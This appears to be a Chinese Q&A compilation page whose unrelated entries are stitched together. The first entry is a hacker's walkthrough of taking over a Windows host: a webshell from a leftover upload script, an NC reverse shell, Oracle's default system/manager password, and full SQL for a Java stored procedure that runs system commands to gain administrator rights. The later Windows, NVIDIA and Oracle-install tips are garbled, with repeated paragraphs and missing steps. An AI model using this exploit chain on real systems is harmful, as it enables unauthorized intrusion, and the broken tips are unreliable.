1.怎么利用ORACLE系统账户默认口令提升权限?
近日,偶到一主机上逛了一圈。
主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile。asp,结果轻轻松松的得到了webshell。
接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。
WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。
在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames。 ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器 Provider=MSDAORA。
1;Password=manager;User ID=system;DataSource=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。 这下好了,oracle的system账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。
1。 sql create or replace and compilejava source named "Util"asimport java。
io。*; import java。
lang。*; public class Util extends Object{public static int RunThis(String args) { Runtime rt = Runtime。
getRuntime(); int rc = -1; try{Process p = rt。exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p。
getInputStream(), bufSize); int len;byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis。 read(buffer, 0, bufSize)) != -1) System。
out。write(buffer, 0, len); rc = p。
waitFor(); } catch (Exception e) { e。printStackTrace(); rc = -1; } finally{return rc; } }}2。
sql create or replacefunction RUN_CMD(p_cmd in varchar2) return numberaslanguage javaname 'Util。RunThis(java。
lang。String) return integer';3。
sql create or replace procedure RC(p_cmd in varchar2)asx number;beginx := run_cmd(p_cmd);end; 保存在c:\下,然后用反连接得到的shell运行 sqlplus system/manager@xxx然后再来执行脚本 SQL>@C:\1。 sqlSQL>@C:\2。
sqlSQL>@C:\3。sql看到JAVA已创建、函数已创建、过程已创建,接着我们继续 SQL> variable x number;SQL> set serveroutput onSQL> exec dbms_java。
set_output(100000);SQL>grant javasyspriv to system看到授权成功。 接着我们就可以来执行系统命令了。
我想先把ASP。dll加入特权一组 SQL>exec :x := RUN_CMD('cscript adsutil。
vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp。dll" ');看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。
接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。 因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。
到此已经提权成功。
2.N卡控制面板提示,“无法应用选定的设置到您的系统”这是怎么回事?
解决 NVIDIA控制面板“拒绝访问,无法应用选定的设置到您的系统”的方法
NVIDIA控制面板是运行NVIDIA显卡驱动程序的设备的中央控制面板。它与驱动程序包本身捆绑在一起,因此无需单独下载或更新。一些用户报告说,当他们对NVIDIA控制面板内的配置进行更改时,会出现“访问拒绝”的错误。
拒绝访问。
无法应用选定的设置到您的系统。
在本文中,我们将学习如何解决它。
NVIDIA控制面板拒绝访问
有效修复NVIDIA控制面板的拒绝访问错误的一些实用方法如下:
3.win10的问题
方法一:右击任务栏,从弹出的右键菜单中选择“任务管理器”项,或者直接按“Ctrl” “Alt” “Del”组合键打开“任务管理器”界面。
从打开的“任务管理器”窗口中,切换到“进程”选项卡,选中“桌面窗口管理器”项,点击“结束进程”按钮以结果此进程。 此时将弹出如图所示的“任务管理器”警告窗口,在此直接勾选“放弃未保存的数据并关闭”项,点击“关闭”按钮。
此时“桌面窗口管理器”将自动重启,之后就可以正常使用“开始”菜单啦。 方法二(终极方法):通过修改“组策略”来修复“开始”菜单打不开的故障。
直接按“Windows R”打开“运行”窗口,或者点击“开始”菜单,从其右键菜单中选择“运行”项来打开。 打开的“组策略”窗口中,依次展开“计算机管理”-“Windows设备”-“安全设置”-“本地策略”-“安全选项”项,在右侧找到“用户账户控制:用于内置管理员账户的管理员批准模式”项并右击,从其右键菜单中选择“属性”项。
此时将打开“用户账户控制:用于内置管理员账户的管理员批准模式”属性窗口,勾选”已启用“项,点击”确定“按钮。如图所示: 接下来只需要重启一下计算机,就可以正常使用“开始”菜单啦。
右击“开始”菜单,从其右侧菜单中选择“关机或注销”-“重启”项即可重启计算机。 接下来只需要重启一下计算机,就可以正常使用“开始”菜单啦。
右击“开始”菜单,从其右侧菜单中选择“关机或注销”-“重启”项即可重启计算机。 从打开的“系统配置”窗口中,切换到“引导”选项卡,勾选“安全引导”项,点击“确定”按钮,并重启一下计算机进入安全模式。
在“安全模式”界面中,依次进入“设置”-“更新和安全”界面中,切换到“恢复”选项卡,点击“重置此电脑”下方的“开始”按钮以重置系统,实现重启安装Win10操作。 当然,如果能进入“疑难解答”界面时,直接点击“重置此电脑”项以实现重装安装Win10正式版系统操作。
4.win10系统怎么安装oracle软件
这个版本的软件可能和win10系统不兼容,换个最新版的重装试试。
还是不行,说明系统有问题,直接换个验证过的系统盘重装系统就行了,这样就可以全程自动、顺利解决 软件无法安装 的问题了。用u盘或者硬盘这些都是可以的,且安装速度非常快。安装方法如下:
1、U盘安装:用ultraiso软件,打开下载好的系统安装盘文件(ISO文件),执行“写入映像文件”把U盘插到电脑上,点击“确定”,等待程序执行完毕后,这样就做好了启动及安装系统用的u盘,用这个做好的系统u盘引导启动机器后,即可顺利重装系统了;
2、硬盘安装:前提是,需要有一个可以正常运行的Windows系统,提取下载的ISO文件中的“*.GHO”和“安装系统.EXE”到电脑的非系统分区,然后运行“安装系统.EXE”,直接回车确认还原操作,再次确认执行自动安装操作(执行前注意备份C盘重要资料);
5.win10怎么安装oracle10
1、Oracle安装时有两个软件包winx64_12102_database_下的所有文件复制到:winx64_12102_database_文件夹里。
Win10在安装oracle时可能会遇到没有安装环境的问题在安装文件的/stage/cvu文件夹下面找到文件 cvu_prereq.xml文件,修改为如下(添加windows 10相关字段,若你的系统为32位只需要添加win10 32的子段即可,若你的系统为64位只需要添加win10 64的子段即可):
2、可以写自己的电子邮件,也可以不写,更新部分对勾去掉,点击下一步
3、可以写自己的电子邮件,也可以不写,更新部分对勾去掉,点击下一步
4、选择桌面类,点击下一步
转载请注明出处windows之家 » win10安装oracle完美权限